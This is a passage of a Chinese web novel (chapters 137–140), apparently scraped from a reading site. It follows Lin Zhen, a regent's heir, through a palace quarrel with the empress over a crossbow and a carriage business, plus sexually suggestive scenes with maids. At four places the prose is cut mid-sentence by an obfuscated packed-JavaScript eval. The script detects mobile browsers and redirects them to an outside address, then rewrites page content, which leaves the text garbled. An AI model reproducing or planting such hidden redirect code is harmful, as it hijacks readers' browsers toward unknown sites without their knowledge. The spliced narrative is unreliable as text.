“再者朱雀大街上的人实在太多了马车根本跑不起来还不如走着快;小巷曲折马车又进不去。富商挑剔视之为敝屣;贫民虽需却又囊中羞涩。” “兵马司与工部之人频频找上门来抱怨街道上马粪遍地臭气熏天无人问津。老朽无奈只得又招募了些杂役专门清理马粪。算上今天刚好三天所以才赔了这么多钱。” 啊。 轻叹逸出红唇慕容嫣神色恍惚缓缓坐回龙椅。 怎么会这样呢? 百骑司不是说林臻已经全部准备好了吗?只要拿到手就可以赚钱。 可他们也没说做生意这么复杂啊! 慕容嫣轻蹙蛾眉宛如画卷中走出的仙子带着一抹不经意的哀愁。 她问道:“你可有破解之法?” 郝劲松闻言身形微颤低头恭敬答道:“陛下老奴才疏学浅没有破解 的办法。这马车行不似布庄、当铺是个根本看不见回头钱的买卖。” 慕容嫣笃定地摇头:“不可能林臻绝不会骗朕肯定是你哪里疏忽了 林臻林臻. 他不过是个声名狼藉的纨绔子弟哪有那么大的能耐! 陛下怎会对他如此深信不疑呢? 郝劲松心中暗自嘀咕面上却不敢有丝毫表露只恭敬地解释道:“陛下老奴已与众位大掌柜细细商议过大家都说这是个不赚钱的生意除非.林世子有点石成金的本事否则就算他重新接手也是一样的。” 慕容嫣暗暗有些怀疑。 难道说真是林臻给自己下的套? 然而细细一想似乎又说不通。 车马行是林臻在还没有彻底组建百骑司的之前就准备成立的不可能提前预知后面的事情。 究竟是哪里出了差错? 明明看着很赚钱的买卖怎么到自己手里就不赚钱反而赔钱了呢? “来人!”慕容嫣实在按耐不住内心的好奇吩咐道:“宣林臻进宫朕要亲自问个明白。” “是。” 慕容无舌答应一声正要出去恰逢百骑司统领快步踏入殿内步伐中带着几分急切。 “启禀陛下摄政王世子林臻有密函呈上” 听闻是林臻的密报慕容嫣语气中略带几分焦急:“快拿过来!” 双手奉上那封沉甸甸的密函。 慕容嫣指尖轻捻信封应声而裂其内容却令她勃然大怒! “真是岂有此理!就算顾家滥杀无辜也轮不到林臻来当这个判官!他竟胆敢领兵擅闯丞相府邸简直是狂妄至极!” 慕容无舌突然插了一句:“陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789269|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这其中会不会有什么误会?” “误会个屁!朕看他是失心疯了!无舌你速速把林臻给朕带过来!” “是!”慕容无舌答应一声抬脚走了出去。 原来早在林臻带兵去顾府的时候他便写好了一封密报。 信中把青竹的情况说得很明白随后也交代了自己去顾府的目的那就是取回青竹父母的首级。 但林臻担心慕容嫣偏袒所以这封信是在他踏入顾府大门那一刻送出去的等慕容嫣看到时战斗已经结束了。 这招先斩后奏让慕容嫣很是恼火。 百骑司统领慕容无愁是个有着刀疤脸的中年男人他单膝跪地低着头不敢直视慕容嫣态度十分恭敬。 慕容 嫣厉声问道:“林臻在顾家都干什么了?” “陛下,据臣所知,林臻带领两百龙骧营士兵进入顾府以后并没有随便杀人,而是直奔后宅。顾云霆和顾北辰提前得知消息,引领上千府兵在花溪边准备与之开战。本来火拼一触即发,但由于林臻携带了八牛弩,所以双方并未爆发大战。” “最后林臻亲自操作八牛弩,斩杀顾家府兵百余人,顾北辰无奈被白袍义从带走。现在林臻已经带着青竹父母的首级回到了王府。” 慕容嫣满脸的惊世骇俗:“你说什么.八牛弩!?这种东西怎么会出现在城里?” “回陛下,臣调查过。早在前些时日林臻就让打造马车的木匠着手打造八牛弩了,所以此八牛弩并不是军营里的,而是经过林臻改造后自己做出来的。以臣愚见,林臻做出来的八牛弩比军营里的更有威力,射程更远,而且可以拆卸安装,十分方便。” “这个林臻,真是无法无天!” 私藏八牛弩的意义完全不亚于后世老百姓家里私藏了一辆东风41,还是搭载了核弹头的那种。 慕容嫣都不敢想象,一旦林家要起兵造反,仅凭自己这三千御林军能坚守几天。 她暗暗攥紧粉拳,不断发狠地告诫自己:“林臻.朕今天绝对不会让你好过!” 第137章 晴雯:要不奴婢给您揉揉? 雨歇乌云悄然散去银辉倾洒百姓方觉月已高悬树梢。 林臻沉浸在温热的浴桶之中眼帘轻阖周身被柔和的水波温柔包裹仿佛能洗净一切尘嚣与血腥。他缓缓抬起双臂目光空洞地凝视着水珠自指尖滑落滴入桶中激起一圈圈细腻的涟漪。 一个从小到大活了两辈子都不敢杀鸡的人竟然在半个时辰间杀了好几十人。 要知道杀人和杀鸡不一样那不是一件简单的事情需要极其强大的内心来面对杀人之后的恐惧。 别不信前世的林臻有个叔叔后来参军入伍到监狱成为一名光荣的WZJC。 从建国开始任何时候想入兔都不是一件容易的事情。后来监狱里就出现了一个不成文的说法那就是枪决两名死刑犯就可以入兔。 由此可见杀人是件非常恐怖的事情也不是谁都能做出来的。 但林臻并没有那种恐惧可能也是因为八牛弩远距离射击的原因没有那种大刀砍断脖子被血喷了一脸的感觉。 如果是置身于烽火连天、刀光剑影的战场手持长枪 一番思绪纷飞后林臻轻轻叹了口气从浴桶中起身随手取过柔软的毛巾擦拭着身上的水珠随后穿上衣服。 里三层外三层的衣裳对他来说是个不小的挑战他翻来覆去总是穿不好歪歪扭扭敞怀露胸的像个流氓。 嗐也罢就这样吧。 林臻走出盥洗室恰见浣碧与晴雯两位佳人俏生生于门扉之外宛如雨后露出来的两朵娇艳欲滴的花儿。 门轴轻响惊动了她们的思绪两人不约而同地转过身来眸光流转满是温柔与色灬情。 晴雯因为被狠狠开发过所以胆子比以前更大了。她本来如秋水般深邃的明眸此刻正闪烁着色眯眯的光芒盯着林臻的胸膛不停地眨呀眨的。 “哇喔~世子又变白了呢!让奴婢看看好不好~”言罢晴雯就要动手动脚的往林臻怀里摸。 林臻下意识地跳开:“别闹!让人看见成什么样子!” “且~”晴雯翻个白眼:“又不是昨天抱着人家喊舒爽的时候了!男人的嘴骗人的鬼!”说完开始给林臻整理衣服。 “你这小妮子”见晴雯开始给自己整理衣服林臻无奈地轻笑。 浣碧嘴角也挂着淡淡微笑忙着给林臻整理衣服。 “呵呵呵世子别生气晴雯就那个 样子。” “欠欠儿的用你解释?诶?世子这是什么呀?”晴雯没好气地回怼忽见林臻大腿处鼓鼓的嘴角便划过一丝狡猾的笑容 林臻对此全然不知他问浣碧:“宫里来人了吗?” “宫里?并没有呀世子要进宫吗?” 奇怪按照慕容嫣的性子她肯定会召自己入宫的。 这怎么还没来呢? 林臻抬头看了看天色突然倒吸一口凉气:“嘶死丫头快松手你弄疼我了。” 晴雯装作大惊失色的样子连忙松开手:“啊世子!奴婢不是故意的奴婢看这里鼓鼓的不知道是什么所以就捏了一下.要不” 晴雯的嘴角比AK都难压坏笑着道:“要不奴婢给您揉揉?” 林臻闹了个大红脸喝骂道:“揉个屁!再敢掐我打死你!” “啊~是这样呀~那您喜欢打左边还是打右边呢~”晴雯踮起脚反手搂住林臻的脖颈吐气如兰。 林臻知道她说的肯定不是脸于是一巴掌抽在她屁股上。 “pia(四声)!” “啊!” 浣碧实在看不下去了在晴雯腰间狠狠掐了一把:“死晴雯你还要不要点脸!” “哎呀你干什么!”晴雯吃痛 言罢她不理会浣碧那怒火中烧的眼神拉着林臻的手臂摇啊摇地撒娇道:“世子奴婢的腿又胖了您就帮帮忙吧!” 妖精! 妖精啊! 林臻都有些后悔把这个妮子吃掉了导致她初尝禁果乐此不疲。 这以后非让她榨干了不可! 正没办法拒绝的时候月亮门外传来的一阵天籁之音。 “世子!宫里来人了!”林臻眼睛一亮。救星来了啊。他赶紧松开晴雯的手脚步轻快地迎了上去。 “哎!世子.哼!”到嘴边的鸭子飞了晴雯气得直跺脚。 林臻跑过慕容无舌面前激动地抓住他那枯瘦且布满岁月痕迹的手声音中带着一丝难以抑制的哽咽:“无舌先生您可算来了呀!” 这一幕即便是历经过大风大浪的老太监慕容无舌也不禁愣住。 他呆望着林臻疑惑地问道:“世子莫非一直在等候老奴?” “可不是嘛!走走走我们赶紧进宫去!”林臻的话语中满是急切拉着慕容无舌走外府外。 慕容无舌心说有点意思啊这么着急进宫挨揍的官员可真是少见。 林臻能大概猜到慕容嫣会说些什么故而面上波澜不惊大不了就用新八牛弩的设计图堵住她的嘴。 不过令他没想到的是今日慕容嫣非但未如往常那般怒不可遏摔杯掷盏反倒是异常的沉静如水教他心中不禁泛起嘀咕。 怎么滴?这娘们现在也玩上喜怒不形于色的套路了? 立于金碧辉煌的金銮殿心间林臻依礼向慕容嫣躬身行礼声音中带着不禁几分谨慎:“微臣参见陛下。” 慕容嫣却恍若未闻依旧沉浸于堆积如山的奏折之中。 未曾抬头只是淡淡地唤了一声:“来人!” “在!”两侧禁军护卫应声而出声音铿锵有力。 这是要干什么? 莫非要打我? 场面让林臻一头雾水很快慕容嫣那可以装出来的低沉而富有磁性的声音再度响起:“林臻目无王法痛打五十大板。” “是!” “啊!?”林臻惊愕张大嘴巴只见护卫已经备好了一条长凳两人一组手握粗长的棍棒向自己步步逼近。 合着工具都准备好了。 林臻赶紧跳开身形一闪避开了他们的擒拿大吼道:“且慢!陛下臣怎么就目无王法了?” 慕容嫣轻轻放下手中的奏折嘴角勾起一抹淡笑:“林臻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789270|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管你怎么狡辩今天这顿打你都挨定了。” 言罢她目光一冷:“打!” “是!” “尔敢!”林臻虎目圆睁一股凛然之气骤然而出吓得那护卫身形一顿伸出的手掌硬生生地停在半空不敢再向前半分。 慕容嫣可能也没料到林臻这么硬气她脸上的笑意渐渐淡去取而代之的是一抹不易察觉的温怒:“林臻你想干什么?” 林臻毫不退缩的说道:“陛下话不说清楚这顿打臣可不挨。” “你竟敢抗旨!” 面对已经生气的皇帝林臻面不改色字字铿锵:“非也!臣不是抗旨而是遵旨!先帝曾封摄政王加九锡剑履上殿。赞拜不名入朝不趋责杖不施臀罚不行。如今陛下若要对臣施以杖责这是赤裸裸的羞辱!有悖先帝旨意。” “你!”慕容嫣怒火中烧。 最令她气不过的 既不能动手教训言辞交锋又屡屡落败最后她气得猛地一 拍龙案,“砰!”的一声巨响,好似震得屋内尘埃轻扬。 “好你个伶牙俐齿的林臻!私藏八牛弩,闯入丞相府滥杀平民,你还有理了?” “陛下,那白袍义从可不是平民,而是一群披着人皮的畜生!”林臻一想到青竹家的凄惨遭遇,心中怒火便如狂澜般翻涌:“他们奸淫抢夺,杀人防火,肆意霸凌我大乾百姓。青竹母亲就是惨死在他们刀下的。” “那也轮不到你来做这个判官!” “我轮不到,谁轮得到?如果不是我,青竹父母岂不是白死了吗!?” 林臻的话语,每一个字都仿佛带着千钧之力,重重地落在场中每一个人的心湖之上,激起层层波澜:“我大乾何时沦落成没有律法,视人命如草芥的地步了?” “你”这是林臻第一次如此失态地与慕容嫣对峙。 青竹的悲剧,如同一把烈火,将他内心的平静彻底焚烧殆尽。 慕容嫣望着眼前那双泛红的眼眸,里面燃烧着的不仅是怒火,还有对公正的渴望与对不公的痛恨。她从未见过这样的林臻,那咄咄逼人的气势,让她一时语塞。 林臻说得对,如果不是他,青竹的家人就白死了。 像顾家这样的权贵之家,又怎会轻易承认对平民的屠戮? 唉,大乾确已乱得让人痛心疾首。 林臻的愤怒,不仅是对眼前这一件事情的控诉,更是对这个时代、这个社会的深深。 这个慕容嫣都懂,但她身为帝王,深锁宫闱,仅凭一己之力实难面面俱到,力挽狂澜。 言及此处,慕容嫣的语气终是柔和了几分。 “林臻,国之大者,法度为先;家之根本,规矩为重。你擅自领兵闯入丞相府邸,致使白袍义从近百人命丧黄泉,说你目中无王法,难道还冤枉了你?如今朝野上下,人心浮动,官员们私下里议论纷纷,皆道你林家嚣张跋扈,无视律法,而朕却对此视而不见,听之任之。倘若不对你加以惩处,大乾的天威何在?朕的颜面何在?日后又如何能让臣民服众!” 第138章 慕容嫣:你怎么就长这么大呢! 慕容嫣的话语诚挚而恳切,字字句句皆出自肺腑。然而,这番深情厚意在林臻心中却未激起丝毫涟漪。 说到底,还是慕容嫣的实力不足以震慑朝堂百官,看我家不造反,便当成软柿子一直捏。 林臻嘴角勾起一抹淡笑,语气中带着几分戏谑:“陛下除了削减微臣的俸禄之外,似乎并无其他更有效的手段来惩戒微臣。” 慕容嫣闻言,秀眉微蹙,随即又舒展开来,脸上绽放出一抹胸有成竹的浅笑,慵懒地倚靠在龙椅之上,那份绝世的容颜在光影交错间更显妖娆。 “林臻,你别得意!朕已经想好怎么处置你了。” 吹牛逼吧。 林臻不屑的撇撇嘴,拱手道:“微臣洗耳恭听。” “朕听说,这八牛弩是自己改造的?” “是。” 慕容嫣悠然自得地翘起二郎腿,以一种谈经论道的闲适口吻缓缓道出:“往宫里送五十架。” “噗陛下,您要这么多是准备射后花园里的天鹅吗?”林臻都被气笑了。 看来慕容嫣生气是假,惦记自己的八牛弩才是真。 想要就直说嘛,非演得那么诚恳干什么。 还是说皇帝喜欢演戏? “你管朕要射什么呢?””慕容嫣故作威严,嘴角却勾起一抹不易察觉的笑意:“朕想射什么就射什么,想射哪里就射哪里,就是射墙上也与你无关。你只管回答,给,还是不给?” 林臻摇了摇头:“陛下,八牛弩的打造费时费力,不如臣直接把设计方法告诉您,由您亲自物色能工巧匠来完成,才更为妥当。” “不行,必须你来做,做好了给朕送来。”慕容嫣笃定的摇头,她现在已经明白了。 想得到林臻的东西,最好的办法是伸手去要,而不是从他的手里夺过来。正如那车马行之事,原本自己只需悠然自得地坐享其成即可,却因一时贪念,硬要握于掌心,结果反成了日日赔本的累赘。 林臻叹了口气,心中悲凉。暗道慕容嫣的成长实在是太快了。知道打造八牛弩费钱,所以让自己去做,她坐享其成。好算计。 也罢,小爷我家大业大,不差她这仨瓜俩枣的。 况且升级八牛弩对江山社稷也算大功一件,明日朝堂之上,慕容嫣提出此事也能堵住悠悠之口。 但是林臻并不认为顾家会把这件近乎于耻辱的事情当众说出来。 林臻微微欠身行礼,言辞恳切:“臣领旨谢恩,但臣有言在先。八牛弩乃国之重器,理应首先充 盈军备,至于陛下所要求的五十架,臣只能按月筹措,逐步奉上。” “朕准了。”慕容嫣点头,随即话锋一转,目光如炬的坐直身体:“不过你得回答朕一个问题,为什么车马行现在天天赔钱?你不是把一切都准备好了吗?” 林臻心中冷笑。 果然如此。 马车行这个东西即便是在那些京城的老练富商手里,也未必能赚钱,更别说慕容嫣这个对经商完全不懂的女帝了。 只有自己才能让他变成摇钱树。 林臻掩盖了下笑容,说道:“这是商业机密,臣不能说。”“大胆!朕问的话,你也敢隐瞒?” “陛下明鉴,各行各业皆有不成文的规矩。倘若个中奥秘为世人皆知,大乾境内恐怕就没有百姓,而尽是逐利的商贾了,所以陛下还是自己慢慢琢磨吧。” “罢了,朕可没时间研究这些铜臭之物。”慕容嫣装作嗤之以鼻的样子,挥挥手:“还给你吧,但每月需得呈上一万两白银作为朕的分红。” 一万两? 这娘们疯了吧! “陛下,您干脆扛着马车去大街上抢吧!” 慕容嫣嘴角含着一抹不言而喻的笑意,轻轻伸出她那如葱白般细嫩的手指,优雅地在空中勾勒出一个“八”的字形。 “那朕就要你收入的八成,不许讲价!” 林臻摇头:“不可能,一成!” “七成!” “一成!” “林臻!你别蹬鼻子上脸,最后一口价,五成!” 林臻伸出一根手指,坚定的说道;“一成,否则陛下就不用把马车行还给臣了。” “你!”慕容嫣气得胸口不断起伏,好像要呼之欲出的样子,“可恶.一成就一成!按月送来,晚了一天,朕扒了你的皮!” “臣遵旨。” “滚吧!” 慕容嫣一挥手,气哄哄的走向屏风后面。 林臻露出胜利者的笑容,转身消失在皇宫的月色之下。 忍一时怒火攻心,退一步越想越气。 慕容嫣悠然坐于床榻,怀中抱着一个枕头,衣襟微敞,青丝如瀑,随意垂落在肩头,自有一份不加雕饰的慵懒之美。 她卷起裤腿,露出两截温润如玉的脚踝,白皙如玉的美足沉浸在温热的水波之中。 “可恶的林臻!” 慕容嫣不禁用力掐了掐怀中的枕头,仿佛那枕头便是林臻本人。 眼前,嬛嬛正跪在地上细心地为慕容嫣洗脚,嘴角 微微下撇,满腹牢骚溢于言表:“陛下对林臻可真是宠溺有加,连这等事情都舍不得稍加责罚。反观顾院判,不过是些微不足道的过失,竟被您毫不留情地逐出皇宫” “放肆!林臻身为王府世子,身份尊贵,岂容你这般随意置喙?再者说,朝廷之事,朕自有考量,岂是你能妄加评议的?” 嬛嬛轻轻咬着下唇,眸中水光潋滟,满是委屈之色,细声呢喃:“本来就是嘛” “这次林臻虽然莽撞了些,但他杀的都是该杀之人。青竹一家,不过是乡间无权无势的淳朴百姓,那帮府兵竟能能如此心狠手辣,不仅对无辜之人痛下杀手,还对青竹的母亲与姐姐施加侮辱。朕实在不认为林臻做的有什么错误。只是为了朝堂稳固,不得不降下惩罚。” “相比之下,顾北辰纵容府兵,残害百姓,若不是看在顾家多年功勋,他自己又颇有才华的份上,朕绝不会轻易饶恕他们。” “可是.”嬛嬛话音未落,便被慕容嫣冷冷打断。 “够了!以后朕不想再听到你有任何偏袒顾家的言语!” 慕容嫣今日神色间尽显不耐,令嬛嬛一时手足无措,只得怯怯地点头应承。随后,她轻轻拾起绣有五爪金龙图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789271|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案的手帕,细心地为慕容嫣拭去足上的水珠。一切妥帖之后,慕容嫣便爬上床榻。 嬛嬛轻吹熄了烛台上的火焰,身影在昏暗中缓缓退却,直至消失于殿门之外。寝宫内顿时沉入一片幽邃的黑暗,唯有窗外皎洁的月光,偷偷溜过窗棂的缝隙,洒下一地银霜,为这静谧的夜晚添上一抹柔和。 慕容嫣侧身轻躺,胸前闪现一道深深的雪白沟壑,她烦躁的揉了揉,便有一阵酸痛传来,她叹气道:“唉,也不知道还得禁锢多久.你怎么就长这么大呢!” 每次束胸的时候慕容嫣都会爆发出把这对极品切下去的冲动。 不知不觉,夜色已深。 慕容嫣辗转反侧睡不着,只得再次搂过枕头,闭着美眸喃喃道:“可恶的林臻” 雨后初霁,次日的天穹如洗,澄澈而高远。 然而,林臻的心境却与这明媚的景致格格不入。 因为他做了一夜的噩梦。 还以为是杀人之后的后遗症,本来没在意,谁知道睡醒之后发现晴雯的大腿就压在自己胸口上。 他哑然失笑。 我就说嘛,不过区区几条人命而已,自己身为王府世子怎么还有负担了呢,原来是这个小妮子! 林臻心中那抹不悦瞬间化作了嘴角的一抹玩味。 他轻 轻一笑,手掌带着几分宠溺,不轻不重地在晴雯圆润的娇臀上拍落,发出“pia~”的一声轻响,空气中似乎都弥漫起了一丝微妙的旖旎。 “嘤咛~” “太阳晒腚了!赶紧起床!” 晴雯在朦胧中呢喃,如同梦呓般轻柔:“唔不要嘛。” 她无意识地将林臻的手臂揽入怀中,双腿更是紧紧缠绕在他的胸口,带着几分撒娇的意味:“世子,奴婢好累啊,再让奴婢睡一会儿~” 林臻感受着臂弯间传来的丝丝温热与那份不言而喻的柔情,心中不禁泛起一阵涟漪,暗自感叹:“真是个磨人的小妖精。” 这妮子总是能以最自然、最合自己心意的方式来表现,不管是姿势还是语调都甘之如饴。 什么?三通? 不行不行。 两通可以,三通绝对不行,这时代卫生条件太差,别喜欢舔脚的芦德豪没得病,自己先染上。 林臻没有再下狠手打她,而是轻轻拍了拍,声音温和:“好了好了,赶紧起来,我要交给你一个重要任务。” “是嘛!真哒?”晴雯闻言,一骨碌爬起来。 两人之间的距离骤然拉近,鼻尖几乎要碰到一起,那诱人的红唇也近在咫尺,仿佛随时都会贴上对方的脸颊。 林臻甚至还能嗅到她鼻间呼出的淡淡清香,让他心头一荡,还以为这妮子要亲自己。却没想到她像跳水蛇似的,顺着自己的身体轻盈地滑了下去。 “世子,您说着,奴婢伺候您。” “不耽误么.” 晴雯点点头,檀口轻启:“不耽误的~” 林臻长舒口气,说道:“我手里有个车马行,前几天被陛下抢走了,现在又还了回来,我打算交给你搭理。” “唔。”晴雯忙碌中默默地点点头。 第139章 是是是,生孩子最辛苦了呢~ 林臻轻抚着晴雯柔顺的发顶,那双深邃的眼眸缓缓合上,嘴角勾起一抹悠然自得的笑意,语调平和地说道:“我直接告诉你怎么经营吧,也省得你自己摸索 林臻把当天对张俪说过的话又对晴雯说了一遍,从马车的起步价,到根据路程远近的合理加价,再到每日赚取的份子钱,每一项都解释得清晰明了。 末了,他补充道:“往后,车行不再发放固定的薪俸,也不再提供餐食,车夫每日下班后,需缴纳八十文的份子钱。我知道,这样一来定会有车夫心生不满,但这也无妨,是他们自己的选择。若有人离去,我们只需重新招募便是,车马行自会吸引那些愿意遵循规矩,勤勉做事之人。 “每天晨钟过后,车马行就可以上街拉客,愿意去哪去哪,如果要出城必须要经过车马行的批准。晚上净街鼓敲响之前要全部回到车行,然后进行薪俸结算,嘶 林臻突然深吸一口气,额间青筋隐约可见,似乎正被某种冲动困扰:“额啊. 几秒过后晴雯抬起头咕嘟一声,那双如秋水般澄澈的大眼睛,满含好奇地望向林臻。 “可是世子,我们车马行最大的卖点就是方便、速度快,百姓有急事或者不愿意走路的时候才会选择乘坐,但朱雀大街上马车根本跑不起来,小路又进不去,如此一来就没有百姓愿意乘坐了。 “不错啊!很有天分嘛!林臻毫不吝啬赞赏之言,但究竟赞赏的是什么就不得而知了。 “你的见解颇为精准,陛下之所以没有把车马行经营起来也有这个原因。不过你不用担心,这件事情我会去找工部协商,在朱雀大街上画出一条分界线,来隔绝人行道和马车道,马车道顾名思义,是专为马车与骑马者设立,行人则需避让,严禁随意穿行,违者必将严惩。至于那些小巷子,目前尚无万全之策,只能先让马车停靠在巷口了。 晴雯砸吧砸吧嘴担忧地道:“可是百姓有怨言怎么办? “忍着,国家的政策岂容他们反对? “那工部尚书能答应吗? 林臻的嘴角勾起一抹自信的笑容:“呵呵呵,工部侍郎那一家子都因我而深陷牢狱之灾,廉强更是在忍受着残酷的刑罚。你觉得,宋正林敢不乖乖就范吗? 晴雯笑靥如花地露出一排皓齿,调皮地吐了吐舌头,那猩红中带着一丝奶白的色泽,显得格外诱人:“嘻嘻,好像也是哦~ “你就先按照我说的办法开始着手,试验几天看看效果,我得起来吃口饭,然后去工部。 “碧儿!” 他轻轻一唤,浣碧便带着满脸的不情愿缓缓推开房门,走近之后,看到在仍旧安然躺于床榻之上,大片雪白肌肤裸露无遗的晴雯,语气里更是夹杂着不悦:“还不起来!世子不会穿衣服不知道吗?” 晴雯懒洋洋地翻了个白眼,随即大大方方地伸了个懒腰,那玲珑曲线惹人眼球,最后嘴里哼着曲调般说道:“啊~呀~我的好姐姐,我是世子的侍寝丫鬟,又不是负责他衣食起居的,你喊我干什么~” 浣碧闻言,眉头紧锁,语气里多了几分严厉:“你就骚吧,早晚有你的苦头吃!” “是是是,生孩子最是辛苦了呢~妹妹我呀,可真是满心期待那吃苦头的日子呢~”晴雯笑得花枝乱颤,言语间满是俏皮与挑逗。 浣碧辩驳不过,一股子气恼涌上心头,索性将散落床榻的衣物,包括贴身的亵裤,一股脑儿拾起,胡乱扔到一旁,随后转身拉开柜门,取出一套簇新的衣裳,细心地为林臻穿戴起来。 林臻向来乐于旁观这两个小丫头间的俏皮拌嘴,也就由他们去,自己并未多加干涉。 待林臻穿戴整齐,另一位丫鬟适时地将热腾腾的饭菜端了进来。他径直走到圆桌旁,吃饱喝足了起身离开。 浣碧瞥见晴雯慵懒地蜷缩在床上,嘴里喊着手指头看着饭菜,便没好气地说道:“赶紧起来吃饭!” “给我端过来,我在床上吃。” “你爱吃不吃!哼!” “咯咯咯咯。”浣碧气得直接把筷子摔在圆桌上,转身走了出去,独留晴雯自己趴在枕头上痴痴傻笑,胸前压出两个硕大的圆饼。 宋正林,工部尚书之尊,其府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789272|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邸却非显赫之姿,反倒透着几分简朴乃至寒酸,与顾家那座金碧辉煌的天堂相较,恐怕连其厕室都不如。之宽敞亦难以企及。 正午时分,老妻秦氏亲手将热腾腾的午膳端到卧房内,目光温柔地落在丈夫那张愁云满布的脸上,轻轻叹了口气,柔声道:“老爷,您明日还是不打算去早朝吗? 宋正林闻言,手中筷子微微一顿,目光虽落在桌上佳肴之上,心中却似嚼蜡,食不知味。终是轻轻放下筷子,长叹一声。 “唉,朝里现在不太平啊。老董、老张,还有吏部的仲辛,几乎都被陛下处置了,不仅家财被尽数抄没,就连族中子侄的官爵也被一并剥夺。六位国公之中,除了勋国公尚能保全一二,其余皆已乖乖奉上家财,以求自保。” 秦氏,年已半百,出身名门望族,膝下育有三儿三女,此刻她那张略显风霜的脸庞上,眉头紧锁,满是忧虑之色,轻声问道:“这次怎会如此严重?” “陛下想发财,却苦无门路,只能将手伸向那些犯了错的官员。以前贪污的官员可以罢黜,可以贬谪,甚至可以砍头。但此番,陛下却一反常态,对那些犯了事的官员一个也未予严惩,只是罚以重金。大理寺卿谭武也不知道得到什么密令,像疯了似的,变得铁面无私,六亲不认,谁的面子都不给,听说顾相想派人进去探探口风,都被他拒绝了。” “可咱们家清清白白,未曾沾染过半分贪墨之事,您为何还如此惶恐不安呢?” “唉,你哪里知晓这其中的利害关系。廉强那厮已是强弩之末,一旦他开始不顾一切地乱咬一气,即便我们没贪陛下都会说我们贪了。我如今借口养病,就是想告诉陛下身正不怕影子斜!我就在家里等消息,不逃不说,不闻不问,随他处置。” “贪又不行,不贪又没人信,这该死的世道。”秦氏轻轻叹了口气,抱怨了一句,随即又拿起筷子,递给了宋正林:“老爷,您还是吃点吧,万一饿坏了身子不值当。” “唔。” 宋正林刚夹起一片菜叶子放进嘴里,大门就突然被人撞开,一声巨响吓得他好险没把舌头吞下去。 第140章 杀子存义(搞笑版降智) 他猛地抬眼只见一名府中小厮踉跄闯入身形摇摇欲坠最终狼狈地摔趴在地。宋正林怒气冲冲手中饭碗一挥重重落在桌上发出“哐当”一声厉声道:“大胆!你这慌慌张张的成什么样子!往日老夫是如何教导你们的?” “老爷!大、大、大大事不好了!林臻他、他来了! “什么!!?额.”宋正林闻言脸色霎时苍白如纸白眼一翻整个人摇摇欲坠仿佛被这突如其来的消息击溃心防直挺挺地往后倒去。 秦氏眼疾手快一把将他揽入怀中:“老爷!老爷!快叫大夫啊!” “完了.一切都完了林臻亲自上门我宋家休矣.”宋正林吐着白沫翻着白眼手都抽成鸡爪子了即便如此他仍挣扎着用尽最后一丝力气对秦氏吩咐道。 “夫人快!快让宣儿出城提醒他永远别回来也不用为我们报仇!让他好好活下去!” 廉松被林臻的手下毛梦极砍死他的得力下属廉强到现在还在大理寺受刑皇帝震怒一连惩罚十几名官员不仅工部上下人心惶惶整个朝堂亦是风声鹤唳宛若笼罩在一片压抑与不安之中。 在这个节骨眼上整件事情的主角林臻亲自登门肯定会吓死他。 泪水不自觉地滑落脸颊秦氏紧紧拥抱着丈夫声音中带着难以抑制的哽咽:“老爷” “你还愣着干什么快去啊!晚了我们就都要死了!” “是 秦氏嚎啕大哭地跑出去心中就三个字——天塌了。 宋正林踉跄几步终于勉强稳住身形那双饱经风霜的眼眸中闪烁着不容动摇的决绝之光。他扯开嗓子向着门外沉沉地呼唤:“林臻!!老夫在此!!” 还没走进院子的林臻听到这声悲凉的呐喊顿时心中生疑。 在小厮战战兢兢的引领下他缓缓步入院内只见宋正林宛若荆轲附体手执一柄寒光闪闪的三尺长剑傲然立于殿门之前周身散发着“风萧萧兮易水寒”般的悲壮气息。 卧槽? 这是要闹哪样啊? 未及开口询问宋正林却已按捺不住对着他便是一顿劈头盖脸的痛骂。 “林臻!你这生儿子没屁眼的歹毒竖子!因为老夫中立你就要对老夫痛下杀手导致老夫全家遭殃!好啊你来啊!老夫就是做鬼也不放过你!” 林臻:? 